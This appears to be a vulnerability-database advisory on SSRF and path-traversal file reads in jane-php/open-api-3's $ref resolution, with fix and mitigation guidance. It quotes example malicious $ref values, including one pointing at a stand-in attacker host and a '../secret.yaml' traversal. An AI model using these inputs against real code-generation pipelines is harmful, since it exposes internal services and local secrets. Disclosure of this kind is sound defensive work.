Jane: $ref resolution performs SSRF + LFI (path traversal) at code-generation time (jane-php)GHSA-c3cj-3p6p-j822
Fix: janephp/janephp#961GHSA-c3cj-3p6p-j822 is a Path Traversal vulnerability in jane-php/open-api-3. A fix is available for jane-php/open-api-3 — see the affected versions and patch details below.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
jane-php/open-api-3Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
jane-php resolves external $ref targets at code-generation time via file_get_contents($ref) (jane-php/json-schema-runtime/Reference.php::doResolve) with no scheme/path restriction. An attacker-controlled OpenAPI document can therefore cause: $ref: 'http://attacker/x' -> SSRF (HTTP GET at gen time; response inlined = RFI); $ref: '/abs/file' -> LFI; $ref: '../secret.yaml' -> path-traversal LFI (CWE-22, arbitrary local JSON/YAML read). Verified 7.11.2/PHP8.1 (listener records the fetch; remote + ../ local content inlined into the generated code). file:// rejected. CWE-918/CWE-98/CWE-611/CWE-22.
Details
// Reference.php::doResolve()
$contents = file_get_contents($fragment); // $fragment = attacker-controlled $ref URI
Impact
Generating PHP with jane from an attacker-influenced OpenAPI document issues HTTP requests to attacker-chosen URLs (SSRF — internal services, cloud metadata) and reads arbitrary local files (LFI via ../), at build/CI time, inlining results into the output.
PoC
reproduce.sh (+ make_spec.py, gen.php): runs jane on a remote-$ref spec (local listener records the SSRF, output checked for the inlined response) and a ../-traversal local-$ref spec (output checked for the leaked file).
Suggested fix
Disable remote $ref fetching by default (or allow-list); confine local $ref to the spec directory (reject absolute paths and ..). Don't file_get_contents($ref) on attacker-controlled URIs.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | jane-php/open-api-3 | all versions | 7.12.0composer require jane-php/open-api-3:^7.12.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for jane-php/open-api-3, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update jane-php/open-api-3 to 7.12.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-c3cj-3p6p-j822 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is GHSA-c3cj-3p6p-j822 in your dependencies?
Find it across Packagist, including transitive dependencies.